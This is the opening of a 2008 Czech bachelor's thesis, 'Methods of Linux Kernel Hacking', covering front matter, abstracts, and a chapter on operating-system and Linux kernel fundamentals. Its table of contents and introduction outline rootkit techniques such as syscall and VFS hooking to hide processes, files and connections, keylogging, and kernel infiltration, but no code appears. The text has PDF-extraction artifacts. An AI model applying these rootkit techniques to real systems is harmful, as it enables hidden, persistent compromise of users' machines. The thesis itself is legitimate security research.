Methods of Linux Kernel Hacking

(1)

VYSOK ´

E U ˇ

CEN´I TECHNICK ´

E V BRN ˇ

E

BRNO UNIVERSITY OF TECHNOLOGY

FAKULTA INFORMA ˇ

CN´ICH TECHNOLOGI´I

´

USTAV INTELIGENTN´ICH SYST ´

EM ˚

U

FACULTY OF INFORMATION TECHNOLOGY DEPARTMENT OF INTELLIGENT SYSTEMS

METODY ´

UTOK ˚

U NA OPERA ˇ

CN´I SYST ´

EM LINUX

BAKAL ´

A ˇ

RSK ´

A PR ´

ACE

BACHELOR’S THESIS

AUTOR PR ´

ACE

BORIS PROCH ´

AZKA

AUTHOR

(2)

VYSOK ´

E U ˇ

CEN´I TECHNICK ´

E V BRN ˇ

E

BRNO UNIVERSITY OF TECHNOLOGY

FAKULTA INFORMA ˇ

CN´ICH TECHNOLOGI´I

´

USTAV INTELIGENTN´ICH SYST ´

EM ˚

U

FACULTY OF INFORMATION TECHNOLOGY DEPARTMENT OF INTELLIGENT SYSTEMS

METODY ´

UTOK ˚

U NA OPERA ˇ

CN´I SYST ´

EM LINUX

METHODS OF LINUX KERNEL HACKING

BAKAL ´

A ˇ

RSK ´

A PR ´

ACE

BACHELOR’S THESIS

AUTOR PR ´

ACE

BORIS PROCH ´

AZKA

AUTHOR

VEDOUC´I PR ´

ACE

Doc. Ing. TOM ´

A ˇ

S VOJNAR, Ph.D.

SUPERVISOR

(3)

(4)

(5)

Abstrakt

Tato bakaláˇrská práce se zamˇeˇruje na bezpeˇcnost Linuxového jádra z útoˇcn´ıkova po-hledu. Snaˇz´ı se identifikovat a zmapovat veˇskeré charakteristické rysy a metody pouˇz´ıvané dneˇsn´ımi poˇc´ıtaˇcovými piráty. Jedn´ım z c´ıl˚u této práce je poskytnout komplexn´ı pohled na danou problematiku. Ve výsledku tak m˚uˇze slouˇzit jako malá referenˇcn´ı pˇr´ıruˇcka komukoliv, kdo má zájem o rozˇs´ıˇren´ı znalost´ı z oblasti jaderné bezpeˇcnosti.

Práce se skládá ze ˇctyˇr ˇcást´ı. Prvn´ı opakuje a definuje nejzákladnˇejˇs´ı pojmy a ˇclenˇen´ı z oblasti operaˇcn´ıch systém˚u. Druhá a tˇret´ı ˇcást tvoˇr´ı jádro práce. Zahrnuj´ı principy a metody pouˇz´ıvané pro skryt´ı proces˚u, soubor˚u, spojen´ı apod. Posledn´ı kapitola je vˇenována dopro-vodným témat˚um. Pˇr´ılohou k této bakaláˇrské práci je skupina jaderným modul˚u, které demonstruj´ı diskutované problémy, a tabulky, porovnávaj´ıc´ı souˇcasné rootkity.

Kl´ıˇ

cov´

a slova

poˇc´ıtaˇcová bezpeˇcnost, Linuxové jádro, rootkit, operaˇcn´ı systém, systémové volán´ı, virtuáln´ı souborový systém, metody naruˇsen´ı jádra, IA-32, i386

Abstract

This bachelor thesis focuses on the Linux kernel security from the attacker perspective. It tries to identify and map all key features and methods used by nowadays cyber-terrorists. One of its aims is to give a comprehensive overview of this topic. At final, it can serve as a small reference for everybody who wants to broaden his knowledge of Linux kernel security. The work consists of four parts. The first part repeats and defines basic notions and taxonomy of operation systems. The second and third part form the core. They cover principles and methods used to hide processes, files, connections, etc. The last chaper is devoted to related issues. A supplement of this bachelor thesis is a set of demonstrating modules, which implement discussed problems involved, and tables, where can be found a comparison of nowadays rootkits.

Keywords

computer security, Linux kernel, rootkit, operating system, system call, virtual filesys-tem, methods of kernel intrusion , IA-32, i386

Citace

Boris Procházka: Metody útok˚u na operaˇcn´ı systém Linux, bakaláˇrská práce, Brno, FIT VUT v Brnˇe, 2008

(6)

Metody ´

utok˚

u na operaˇ

cn´ı syst´

em Linux

Prohl´

aˇ

sen´ı

Prohlaˇsuji, ˇze jsem tuto bakaláˇrskou práci vypracoval samostatnˇe pod veden´ım pana doc. Ing. Tomáˇse Vojnara Ph.D. Uvedl jsem vˇsechny literárn´ı prameny a publikace, ze kterých jsem ˇcerpal.

. . . . Boris Proch´azka

9. kvˇetna 2008

Podˇ

ekov´

an´ı

T´ımto bych rád podˇekoval panu doc. Ing. Tomáˇsi Vojnarovi Ph.D. za peˇclivou kont-rolu mých text˚u, odborné konzultace a v neposledn´ı ˇradˇe vstˇr´ıcnost pˇri výbˇeru tématu mé bakaláˇrské práce.

c

Boris Proch´azka, 2008.

Tato práce vznikla jako ˇskoln´ı d´ılo na Vysokém uˇcen´ı technickém v Brnˇe, Fakultˇe in-formaˇcn´ıch technologi´ı. Práce je chránˇena autorským zákonem a jej´ı uˇzit´ı bez udˇelen´ı oprávnˇen´ı autorem je nezákonné, s výjimkou zákonem definovaných pˇr´ıpad˚u.

(7)

Obsah

´ Uvod 3 1 Operaˇcn´ı syst´em 5 1.1 Z´akladn´ı pojmy . . . 5 1.2 Linux . . . 8

1.2.1 Pouˇzit´a architektura a verze j´adra . . . 9

1.2.2 Uˇzivatelsk´y pamˇet’ov´y prostor . . . 9

1.2.3 Rozhran´ı systémových volán´ı . . . 10

1.2.4 Jadern´y pamˇet’ov´y prostor . . . 10

1.3 Programov´an´ı v j´adˇre . . . 13

2 Principy ´utok˚u na Linux 16 Doprovodn´e programy . . . 16

Moˇznosti obrany a detekce . . . 18

2.1 Ran´a ´era . . . 18

2.1.1 Nahrazov´an´ı utilit . . . 18

2.1.2 Nahrazov´an´ı knihoven – preload . . . 18

2.2 Modern´ı ´era . . . 19

2.2.1 Napaden´ı rozhran´ı systémových volán´ı . . . 19

2.2.2 Napaden´ı virtuáln´ıho souborového systému . . . 26

3 Metody skrýván´ı prostˇredk˚u, zdroj˚u a z´ıskáván´ı informac´ı o systému 30 3.1 Skrýván´ı proces˚u . . . 30

3.1.1 Systémové volán´ı sys getdents{64} . . . 30

3.1.2 Souborov´a operace vfs readdir . . . 31

3.1.3 Pl´anovaˇc . . . 32

3.2 Skrýván´ı adresáˇr˚u a soubor˚u . . . 33

3.2.1 Systémové volán´ı sys getdents{64} . . . 33

3.2.2 Souborov´a operace vfs readdir . . . 34

3.3 Skrýván´ı záznam˚u v souborech . . . 34

3.3.1 Systémové volán´ı sys read . . . 34

3.3.2 Souborov´a operace vfs read . . . 35

3.4 Skr´yv´an´ı spojen´ı . . . 36

3.4.1 Adres´aˇr /proc/net . . . 36

3.4.2 Alternativy . . . 36

3.5 Pˇresmˇerov´an´ı spouˇstˇen´eho programu . . . 37

3.5.1 Systémové volán´ı sys execve . . . 37

(8)

3.5.3 Funkce open exec . . . 37

3.5.4 Funkce load binary . . . 38

3.6 Odposlech . . . 38

3.6.1 Odposlech stisknut´ych kl´aves (keylogging) . . . 39

3.6.2 Odposlech syst´emov´ych funkc´ı sys read/write() . . . 41

4 Infiltrace a pˇretrv´an´ı v OS 42 4.1 Infiltrace j´adra . . . 42

4.1.1 Moduly . . . 42

4.1.2 Obraz pamˇeti – soubory /dev/{k}mem . . . 44

4.1.3 Pˇrilinkov´an´ı k jadern´emu souboru . . . 45

4.2 Znovuspuˇstˇen´ı . . . 46

4.3 Komunikaˇcn´ı rozhran´ı s jadern´ym prostorem . . . 48

Z´avˇer 50

Seznam pouˇzit´ych zdroj˚u 54

Seznam pouˇzit´ych zkratek a symbol˚u 55

Seznam pˇr´ıloh 56

A V´ystupy demonstraˇcn´ıch program˚u 57

B Rejstˇr´ık symbol˚u 64

(9)

´

Uvod

Linux je od svého poˇcátku povaˇzován za jeden z nejprogresivnˇejˇs´ıch pˇredstavitel˚u z ˇrady existuj´ıc´ıch operaˇcn´ıch systém˚u. Je znám svoj´ı vysokou kvalitou návrhu, flexibilitou vývoje a velkou programátorskou základnou. Za dobu své existence si naˇsel cestu témˇeˇr do vˇsech zaˇr´ızen´ı, které lze nazvat výpoˇcetn´ım prostˇredkem.

D´ıky své politice otevˇreného zdrojového kódu nab´ız´ı kaˇzdému moˇznost jádro mˇenit, vylepˇsovat a experimentovat s n´ım. Ty nejlepˇs´ı úpravy pak procházej´ı schvalovac´ım proce-sem zaˇclenˇen´ı do oficiáln´ı verze jádra. Strukturu jádra ale m˚uˇzeme povaˇzovat i za jakousi d˚uvˇernou informaci, která je vˇsak kaˇzdému pˇr´ıstupná. Pro útoˇcn´ıka maj´ı jaderné kódy po-dobnou váhu jako stavebn´ı plány banky pro bankovn´ıho zlodˇeje. Naˇs´ım

”stavebn´ım plánem“ tedy budou zdrojové kódy jádra a naˇs´ım c´ılem bude identifikace zranitelných m´ıst

” velko-lep´e stavby“ – j´adra.

Práce se skládá ze ˇctyˇr kapitol. Prvn´ı definuje základn´ı pojmy, s kterými budeme po zbytek práce pracovat a pˇrináˇs´ı zasazen´ı diskutované problematiky do ˇsirˇs´ıho kontextu. Popisuje architektonickou strukturu Linuxového jádra, kterou ˇclen´ı na pˇet samostatných podsystém˚u, a vysvˇetluje rozd´ıl mezi uˇzivatelským a jaderným prostorem. Závˇer prvn´ı kapitoly je vˇenován zp˚usobu psan´ı jaderných program˚u.

Druhá a tˇret´ı kapitola tvoˇr´ı jádro bakaláˇrské práce. Pˇri vytváˇren´ı vlastn´ı klasifikace jsem se rozhodl oddˇelit princip útoku (jakým zp˚usobem je útok veden) od c´ıle útoku (jaká sluˇzba je útokem zasaˇzena). Vzniká tak unikátn´ı kategorizace princip˚u, která je zachycena v druhé kapitole. Kaˇzdá kategorie obsahuje demonstraˇcn´ı program, který byl navrhnut speciálnˇe pro ovˇeˇren´ı platnosti kaˇzdého z princip˚u. D´ıky podrobnému studiu rozhran´ı systémových volán´ı byl objeven i princip nový. Souˇcást´ı kapitoly je pr˚ubˇeˇzná diskuze základn´ıch výhod a nevýhod jednotlivých pˇr´ıstup˚u vˇcetnˇe zp˚usob˚u detekce a obrany.

Tˇret´ı kapitola pokrývá útoky na samostatné systémové sluˇzby. Jedná se o útoky na proces, adresáˇre a soubory, spojen´ı, aplikace a odposlech. U kaˇzdého útoku jsou vysvˇetleny alternativy a problém je implementován jedn´ım z princip˚u kapitoly dvˇe. Vzniká tak dalˇs´ı skupina experimentáln´ıch program˚u. Kapitola pokraˇcuje v diskuzi silných a slabých stránek jednotlivých pˇr´ıstup˚u.

Posledn´ı kapitola pokrývá témata, která m˚uˇzeme oznaˇcit jako doprovodná. Obsahuje zp˚usoby zavádˇen´ı kódu do jádra a ˇreˇsen´ı problém˚u spojených s restartován´ım napadeného systému. ˇCást prostoru je vˇenováno komunikaˇcn´ım rozhran´ım rootkit˚u. Kapitola obsahuje ˇ

ctyˇri doprovodn´e programy.

Ve výsledku vznikla sada tˇriceti vlastn´ıch demonstraˇcn´ıch program˚u (z toho dvacet osm jaderných modul˚u), které jsou naprogramovány uniformn´ım zp˚usobem. Podporuj´ı pocho-pen´ı prob´ıraného textu a mohou slouˇzit jako východisko pro dalˇs´ı vývojovou etapu. Jejich seznam je souˇcást´ı pˇr´ılohy A, na kterou se text na ˇradˇe m´ıst odvolává.

Pˇri studiu a tvorbˇe této práce mi byly neocenitelným pomocn´ıkem pˇredevˇs´ım publi-kace [1, 2, 3] a zdrojové kódy Linuxového jádra. Pro snazˇs´ı orientaci v jaderném kódu byl

(10)

vytvoˇren podrobný rejstˇr´ık symbol˚u, který se nacház´ı v pˇr´ıloze B. Usnadˇnuje vyhledáván´ı definic jaderných funkc´ı a struktur, které jsou v práci pouˇzity.

Jednou z motivac´ı práce bylo porovnat vlastnosti a kvalitu veˇrejnˇe dostupných rootkit˚u. Výsledky tohoto úkolu lze nalézt v tabulkách pˇr´ılohy C. Tabulky jsou navrˇzeny tak, aby reflektovaly poˇrad´ı znalost´ı z´ıskaných pˇri ˇcetbˇe této bakaláˇrské práce. Lze je tedy studovat i pr˚ubˇeˇznˇe.

(11)

Kapitola 1

Operaˇ

cn´ı syst´

em

´

Uvodn´ı kapitola je rozˇclenˇena na tˇri podkapitoly. Prvn´ı definuje a opakuje základn´ı pojmy z oblasti operaˇcn´ıch systém˚u. Druhá podkapitola se vˇenuje struktuˇre Linuxového jádra. ˇClen´ı ho na pˇet podsystém˚u a kaˇzdý ve struˇcnosti charakterizuje. Podrobnˇe se zabývá rozd´ılem mezi uˇzivatelským a jaderným reˇzimem. Posledn´ı podkapitola shrnuje pravidla pro psan´ı program˚u, bˇeˇz´ıc´ıch v jaderném adresovém prostoru.

1.1 Z´

akladn´ı pojmy

Operaˇcn´ı systém má v základn´ı hierarchii kaˇzdého výpoˇcetn´ıho systému výraznou a niˇc´ım nenahraditelnou roli. Ze své pozice (obr. 1.1) má za úkol vytvoˇrit spojuj´ıc´ı vrstvu mezi hardware poˇc´ıtaˇce a uˇzivatelskými aplikaˇcn´ımi programy. M˚uˇze být chápán v uˇzˇs´ım a ˇsirˇs´ım slova smyslu – od samotného jádra aˇz po kolekci program˚u nutných pro bezproblémový provoz celého systému. Z pohledu této práce se nám hod´ı definice ˇsirˇs´ı, nebot’ naˇs´ım c´ılem je identifikovat zranitelná m´ısta systému jako celku.

uživatel

aplikační prog.

operační systém

hardware

Obrázek 1.1: Základn´ı hierarchie výpoˇcetn´ıho systému

Jádro, jakoˇzto stˇeˇzejn´ı prvek, je zavedeno pˇri spuˇstˇen´ı prvn´ı1 a bˇeˇz´ı po celou dobu bˇehu výpoˇcetn´ıho systému. Reˇzie zp˚usobená bˇeˇz´ıc´ım jádrem je nám kompenzována následuj´ıc´ımi sluˇzbami [4]:

• správce prostˇredk˚u – dovoluje prostˇredky (procesory, pamˇet’ a ostatn´ı periferie) sd´ılet efektivnˇe a t´ım maximálnˇe vyuˇz´ıvat poˇc´ıtaˇcové zdroje. D˚uleˇzitou roli hraje i v bezpeˇcnostn´ı politice celého systému, nebot’ jádro mus´ı z d˚uvodu pˇr´ımé komunikace s hardware bˇeˇzet v privilegovaném reˇzimu (kap. 1.2.3).

1

(12)

• tv˚urce prostˇred´ı – vytváˇr´ı standardn´ı rozhran´ı pro uˇzivatelské aplikaˇcn´ı programy. Podporuje t´ım pˇrenositelnost aplikac´ı napˇr´ıˇc r˚uznými operaˇcn´ımi systémy. Zároveˇn vytváˇr´ı základn´ı abstrakce jako je proces, soubor nebo virtuáln´ı pamˇet’.

Proces je v odborn´ych publikac´ıch typicky definov´an jako

”an instance of a program in execution“ [2] , coˇz volnˇe znamená bˇeˇz´ıc´ı program. ˇCasto je také oznaˇcován jako úloha. Z naˇseho pohledu bude chápán jako kolekce datových struktur, které popisuj´ı aktuáln´ı stav spuˇstˇeného programu.

K tomu, aby mohl proces bˇeˇzet, potˇrebuje ˇcas od ˇcasu obsadit centráln´ı výpoˇcetn´ı jednotku. Ta se m˚uˇze nacházet právˇe v jednom z následuj´ıc´ıch stav˚u:

• CPU bˇeˇz´ıc´ı v uˇzivatelsk´em prostoru,

• CPU bˇeˇz´ıc´ı v jaderném prostoru po systémovém volán´ı, • CPU bˇeˇz´ıc´ı v jaderném prostoru po pˇreruˇsen´ı.

Zat´ımco prvn´ı dva pˇr´ıpady jsou úzce svázány s právˇe prob´ıhaj´ıc´ım procesem, u po-sledn´ıho tomu tak vˇetˇsinou nen´ı.

V´ıceúlohový operaˇcn´ı systém umoˇzˇnuje provádˇet nˇekolik úloh souˇcasnˇe. Tato schopnost je anglicky nazývána jako multitasking. Multitasking m˚uˇze být realizován dvˇema základn´ımi zp˚usoby [5]:

1. zdánlivý – vytváˇr´ı se pouze dojem souˇcasného bˇehu rychlým pˇrep´ınán´ım úloh. Vycház´ı ze skuteˇcnosti, ˇze pouze jedna úloha m˚uˇze v daný okamˇzik obsadit procesor. Podle zp˚usobu pˇridˇelován´ı a odeb´ırán´ı ˇcasových kvant dále rozliˇsujeme:

(a) kooperativn´ı (nepreemptivn´ı) – vyˇzaduje aktivn´ı spolupr´aci pr´avˇe bˇeˇz´ıc´ıch ´

uloh. Kaˇzdá úloha mus´ı dostateˇcnˇe ˇcasto pˇredávat ˇr´ızen´ı zpˇet operaˇcn´ımu syst´ e-mu, aby mohl rozhodnout o dalˇs´ım pˇridˇelen´ı výpoˇcetn´ıch prostˇredk˚u. Zásadn´ı nevýhoda tohoto pˇr´ıstupnu spoˇc´ıvá v moˇznosti zastaven´ı systému ˇspatnˇe napro-gramovanou úlohou2.

(b) preemptivn´ı – pˇridˇelován´ı a odeb´ırán´ı procesoru má plnˇe v kompetenci operaˇcn´ı systém a dˇeje se tak v pravidelných intervalech na základˇe pˇredem definovaného algoritmu. I v tomto pˇr´ıpadˇe se m˚uˇze právˇe provádˇená úloha dobrovolnˇe vzdát pˇridˇeleného výpoˇcetn´ıho ˇcasu – typicky ˇcekán´ım na dokonˇcen´ı vstup-výstupn´ı operace. Oproti nepreemptivn´ı variantˇe je sloˇzitˇejˇs´ı na implementaci a vyˇzaduje výraznˇejˇs´ı hardwarovou podporu.

2. skuteˇcn´y – vyˇzaduje plnou hardwarovou podporu (v´ıce procesor˚u).

Soubor je pojmenovaná uspoˇrádaná kolekce dat uloˇzená na datovém nosiˇci. Mezi charak-teristické atributy patˇr´ı typ, délka, ˇcasové a vlastnické údaje, uˇzivatelská oprávnˇen´ı apod. Kolekci soubor˚u pak nazýváme adresáˇr. O jejich fyzickou reprezentaci na datovém nosiˇci se stará podsystém operaˇcn´ıho systému – systém soubor˚u (kap. 1.2.4).

2

Bohaté vyuˇzit´ı vˇsak nacház´ı ve spojen´ı s vestavˇenými systémy, kde jsou úlohy podrobeny komplexn´ı analýze.

(13)

Virtuáln´ı pamˇet’ je zp˚usob správy pamˇeti poˇc´ıtaˇce za úˇcelem vyuˇzit´ı v´ıce vnitˇrn´ı pamˇeti, neˇz je skuteˇcnˇe k dispozici. V modern´ıch operaˇcn´ıch systémech tvoˇr´ı nejd˚uleˇzitˇejˇs´ı pod-systém – správa pamˇeti (kap. 1.2.4).

V´ıceuˇzivatelský operaˇcn´ı systém má prostˇredky pro vytvoˇren´ı pracovn´ıho prostˇred´ı pro v´ıce jak jednoho uˇzivatele. Mus´ı obsahovat autentizaˇcn´ı mechanizmy pro ovˇeˇren´ı identity uˇzivatele a udrˇzet je v bezpeˇc´ı pˇred neˇzádouc´ımi vlivy uˇzivatel˚u ostatn´ıch – od naruˇsen´ı soukrom´ı aˇz po neadekvátn´ı vyuˇz´ıván´ı výpoˇcetn´ıch prostˇredk˚u.

Druhy jader rozliˇsujeme podle mnoˇzstv´ı kódu vykonávaného v jaderném adresovém pro-storu (obr. 1.2) a mnoˇzstv´ı sluˇzeb a abstrakc´ı, které nám poskytuje. Nejbˇeˇznˇejˇs´ı ˇclenˇen´ı [4, 5] je na:

• Monolitická jádra. Veˇskerý kód bˇeˇz´ı v jaderném adresovém prostoru a nab´ız´ı vy-sokoúrovˇnové rozhran´ı s velkým mnoˇzstv´ım sluˇzeb a abstrakc´ı. Podsystémy jádra jsou ´

uzce propojeny, coˇz umoˇzˇnuje maximáln´ı moˇznou efektivitu bˇehu jádra. Na druhou stranu chyba jediného podsystému m˚uˇze ohrozit bezpeˇcnost a stabilitu systému jako celku. Aby bylo moˇzné rozˇsiˇrovat jádro za bˇehu bez nutnosti restartu, vˇetˇsina mo-nolitických jader podporuje dynamické nahráván´ı modul˚u. Jakmile je modul jednou zaveden, stává se plnohodnotnou souˇcást´ı jádra a m˚uˇze k jádru pˇristupovat libovolným zp˚usobem. Tato vlastnost m˚uˇze být velice snadnou cestou k modifikaci bˇeˇz´ıc´ıho jádra (kap. 4.1.1).

• Mikrojádra. Snaˇz´ı se minimalizovat mnoˇzstv´ı kódu bˇeˇz´ıc´ıho v jaderném adresovém prostoru a poskytuje pouze základn´ı rozhran´ı, sluˇzby a abstrakce. Vˇse ostatn´ı je pˇresunuto do uˇzivatelského pamˇet’ového prostoru do tzv. server˚u. Koncept mikro-jader naráˇz´ı pˇredevˇs´ım na nutnost vyˇsˇs´ı reˇzie z d˚uvod˚u ˇcastˇejˇs´ıch systémových volán´ı a t´ım spojených zmˇen kontext˚u. Pˇrináˇs´ı vˇsak lepˇs´ı návrh a je bezpeˇcnˇejˇs´ı.

• Hybridn´ı jádra. Jsou kombinac´ı pˇredeˇslých dvou variant jader. Hlavn´ı nevýhodu mikrojader se snaˇz´ı eliminovat pˇresunut´ım nˇekterých sluˇzeb v podobˇe server˚u (napˇr. souborový systém) do jaderného adresového prostoru.

• Experimentáln´ı jádra. Jsou zastoupeny pico, nano ˇci exojádry. Vˇetˇsinou se snaˇz´ı zd˚uraznit nˇekterý z rys˚u mikrojader.

jádro software modul software jádro software servery jádro softwaresoftware servery monolitické

s modulární strukturou mikrojádro hybridní

(14)

1.2 Linux

Koˇreny jádra spadaj´ı do roku 1991, kdy finský student helsinské univerzity Linus Tor-valds zveˇrejnil prvn´ı verzi svého Linuxu. Vycházel pˇri tom z Minixu3, coˇz je operaˇcn´ı systém Unixového typu urˇcený pro podporu výuky. Od té doby se na vývoji Linuxu pod´ılelo tis´ıce vývojáˇr˚u a jádro bylo zaˇrazeno do projektu GNU. Zjednoduˇsené schéma architektury operaˇcn´ıho systému Linux lze zhlédnout na obrázku 1.3 a bude diskutováno v následuj´ıc´ıch odd´ılech.

Aplikace 1 Aplikace 2

Knihovny

Rozhraní systémových volání

Správa

procesů Správa paměti souborůSystém zařízeníSpráva Síťování

Souběžné zpracování úloh

Správce paměti

Virtuální paměť souborový Virtuální systém Síťové spojení Přístup k zařízením Ovladače rozhraní HW závislý kód Bloková zařízení Znaková zařízení Typy souborových systémů Síťový podsystém Charakteristická vlastnost Podsystém Programová podpora Jaderný prostor Uživatelský prostor Hardware

Procesor Paměť Disk, CD, ... Konzole, ... Síťové rozhraní

Obrázek 1.3: Zjednoduˇsená architektura operaˇcn´ıho systému Linux

V dneˇsn´ı dobˇe m˚uˇzeme Linux klasifikovat jako typického pˇredstavitele monolitických ja-der s modulárn´ı podporou. Jedná se o v´ıceúlohový a v´ıceuˇzivatelský operaˇcn´ı systém s vyni-kaj´ıc´ı souborovou, s´ıt’ovou a v´ıceprocesorovou podporou. Nen´ı proto divu, ˇze své uplatnˇen´ı

3

(15)

nacházel pˇredevˇs´ım v serverových systémech. Moˇznost pˇreruˇsen´ı v jaderném adresovém pro-storu4, která byla implementována od verze 2.6, podporuje nasazen´ı tohoto systému i na klasické stoln´ı poˇc´ıtaˇce. Hlavn´ı pˇr´ınos spoˇc´ıvá v rychlejˇs´ıch odezvách na uˇzivatelské akce i pˇri vysokém zat´ıˇzen´ı pracovn´ı stanice.

1.2.1 Pouˇzit´a architektura a verze j´adra

V dalˇs´ım textu budeme pˇredpokládat architekturu IA-32, dˇr´ıve oznaˇcovanou jako i386. Jedná se o 32bitovou, registrovou architekturu s CISCovou instrukˇcn´ı sadou. Vˇetˇsina do-provodných kód˚u v tomto textu postrádá z d˚uvod˚u lepˇs´ı ˇcitelnosti typové a jiné kontroly. Implementaˇcn´ı podrobnosti lze nalézt ve zdrojových textech jednotlivých pˇr´ıklad˚u, které jsou ned´ılnou souˇcást´ı této práce. Orientaˇcn´ı výstup tˇechto modul˚u je moˇzné zhlédnout v pˇr´ıloze A. Pro zájemce o hlubˇs´ı studium obsahuje pˇr´ıloha B tabulku pouˇzitých sym-bol˚u a jejich odkaz do zdrojových kód˚u jádra. Dále pˇredpokládáme pouze jednoproceso-rový výpoˇcetn´ı prostˇredek. Pouˇzité jádro bylo 2.6.16.59. Pˇres veˇskerou snahu o zachován´ı maximáln´ı pˇrenositelnosti je nutné si uvˇedomit, ˇze nˇekteré metody a techniky vyuˇz´ıvaj´ı unikátn´ıch vlastnost´ı této architektury popˇr. verze pouˇzitého jádra. Autor nenese ˇzádnou zodpovˇednost za pˇr´ıpadné ˇskody vzniklé pˇri experimentován´ım s tˇemito jadernými moduly.

1.2.2 Uˇzivatelsk´y pamˇet’ov´y prostor

Uˇzivatelský pamˇet’ový prostor se nacház´ı od adresy 0x00000000 po adresu 0xC00000005a vyplˇnuje prostor o velikosti 3GB. Jedná se o virtuáln´ı adresový prostor, který patˇr´ı aplikaci. Aplikace m˚uˇze pouˇz´ıvat pouze tu ˇcást virtuáln´ıho adresového prostoru, kterou si dopˇredu za-alokuje. V pˇr´ıpadˇe, ˇze se pokus´ı zapsat do nealokované pamˇeti, dojde k násilnému ukonˇcen´ı programu. Kódová oblast Datová oblast BSS Hromada Knihovny Mapované soubory Zásobník Systémová oblast Data 0x C 00 00 00 0 0x FF FF FF FF 0x 08 04 80 00 0x 00 00 00 00 1GB Jaderný paměťový prostor Uživatelský paměťový prostor3GB

Obr´azek 1.4: Mapa pamˇeti

Kaˇzdý program se skládá z nˇekolika sekc´ı, které se pˇri zavádˇen´ı do hlavn´ı operaˇcn´ı pamˇeti mapuj´ı na vhodné adresové pozice (obr. 1.4). Tyto sekce dˇel´ıme [7, 2] na:

• Kódová oblast. Obsahuje spustitelný kód v podobˇe instrukc´ı pro danou architek-turu.

• Datová oblast. Obsahuje globáln´ı promˇenné, které se dˇel´ı podle poˇcáteˇcn´ı hodnoty na:

4

Takové jádro nazýváme angl. reentrant kernel. 5_{Hodnotu hraniˇ}_{cn´ı adresy urˇ}_{cuje symbol}

(16)

* BSS. Neinicializované globáln´ı promˇenné.

* Data. Inicializované globáln´ı promˇenné. Jsou souˇcást´ı spustitelného souboru. • Hromada. Alokovaná pamˇet’ vzniklá za chodu programu. Pˇr´ıstup k n´ı je moˇzný pouze

pˇres ukazatele a je plnˇe v reˇzii program´atora.

• Knihovny. Jsou skupinou modul˚u, které zajiˇst’uj´ı bˇeˇz´ıc´ım aplikac´ım nejbˇeˇznˇejˇs´ı sluˇzby a snazˇs´ı komunikaci s operaˇcn´ım systémem. Jedná se pˇredevˇs´ım o vstup-výstupn´ı, ˇretˇezcové, matematické a ˇcasové funkce. Dále pak funkce dynamické alokace pamˇeti. • Zásobn´ık. Obsahuje lokáln´ı promˇenné, parametry funkc´ı a návratové adresy.

1.2.3 Rozhran´ı systémových volán´ı

K tomu, aby mohl operaˇcn´ı systém Linux vytvoˇrit dostateˇcnˇe bezpeˇcné prostˇred´ı pro aplikace a hardware, potˇrebuje ke svému bˇehu procesor s podporou alespoˇn dvou r˚uzných ´

urovn´ı bˇehu. Kdyˇz procesor zpracovává proces, který bˇeˇz´ı v uˇzivatelském pamˇet’ovém pro-storu, bˇeˇz´ı v tzv. uˇzivatelském reˇzimu. V tomto stavu nem˚uˇze pouˇz´ıvat veˇskeré instrukce a t´ım má regulovaný pˇr´ıstup k hardware a do pamˇeti. V opaˇcném pˇr´ıpadˇe se procesor nacház´ı v jaderném pamˇet’ovém prostoru a bˇeˇz´ı v tzv. jaderném reˇzimu, kdy má dovoleny veˇskeré operace. K pˇrepnut´ı mezi módy m˚uˇze probˇehnout pouze pˇres tzv. systémovou bránu6. Ta je vyvolána programem v pˇr´ıpadˇe, ˇze potˇrebuje provést operaci, na kterou v uˇzivatelském módu nemá oprávnˇen´ı (typicky pˇristoupit k hardware).

Hardware Rozhraní hardware Jádro Rozhraní systémových volání Knihovny Rozhraní knihovny Aplikace

Obr´azek 1.5: Hierarchie rozhran´ı

Sluˇzby bˇeˇz´ıc´ı v jaderném reˇzimu jsou aplikac´ım dostupné výhradnˇe pˇres rozhran´ı sy-stémových volán´ı. Z obrázku 1.5 je patrné, ˇze toto rozhran´ı tvoˇr´ı základn´ı vrstvu mezi aplikacemi a operaˇcn´ım systémem. M˚uˇze být vyvolána dvˇema zp˚usoby [4]:

1. pˇr´ımo – z aplikace pˇres specializovanou instrukci (napˇr. softwarov´e pˇreruˇsen´ı) 2. nepˇr´ımo – prostˇrednictv´ım knihovny.

1.2.4 Jadern´y pamˇet’ov´y prostor

Jaderný pamˇet’ový prostor vyplˇnuje zbývaj´ıc´ı 1GB pamˇeti od adresy 0xC00000000 po 0xFFFFFFFF (obr. 1.4). Tato pamˇet’ je pˇr´ıstupná pouze z tzv. supervizor módu7 a aplikace

6

Typ deskriptoru pˇreruˇsen´ı, které m˚uˇze být vyvoláno z uˇzivatelského reˇzimu. Jedná se o instrukce into, bound a int $0x80.

7_´

(17)

ji nemohou pouˇz´ıvat. Nacház´ı se v n´ı fyzická reprezentace celého jádra. Jádro si m˚uˇzeme rozdˇelit na pˇet základn´ıch podsystém˚u podle obrázku 1.3. Jsou to [3]:

1. Správa proces˚u. Má za úkol vytváˇret, spravovat a ruˇsit jednotlivé procesy. Ty jsou reprezentovány datovými strukturami, tzv. proces deskriptory (task struct), které jsou provázány pomoc´ı obousmˇernˇe vázaného seznamu. Dále zajiˇst’uje komunikaci proces˚u s okol´ım a mezi sebou navzájem vˇcetnˇe pˇr´ıbuzenských vztah˚u. Výraznou roli zde zastává O(1) plánovaˇc, který urˇcuje, jaký proces bude bˇeˇzet v následuj´ıc´ı chv´ıli. Rychlým stˇr´ıdán´ım proces˚u vytváˇr´ı iluzi souˇcasného bˇehu v´ıce úloh. V Linuxu se jedná o preemptivn´ı variantu.

2. Správa pamˇeti. Jedná se pravdˇepodobnˇe o nejsloˇzitˇejˇs´ı podsystém. Jeho hlavn´ım ´

ukolem je pˇreklad logické adresy, se kterou pracuje procesor, na adresu fyzickou, která se nacház´ı v operaˇcn´ı pamˇeti. Jelikoˇz se jedná o ˇcastou a sloˇzitou operaci, je ˇcást celého pˇrekladového procesu implementována za podpory hardware – MMU8.

Architektura x86 [2, 4, 8, 9, 10] pouˇz´ıvá segmentaci, která je povinná, a stránkován´ı, které je volitelné. Systém Linux stránkován´ı pouˇz´ıvá a pˇreklad je tedy provádˇen ve dvou kroc´ıch (obr. 1.6):

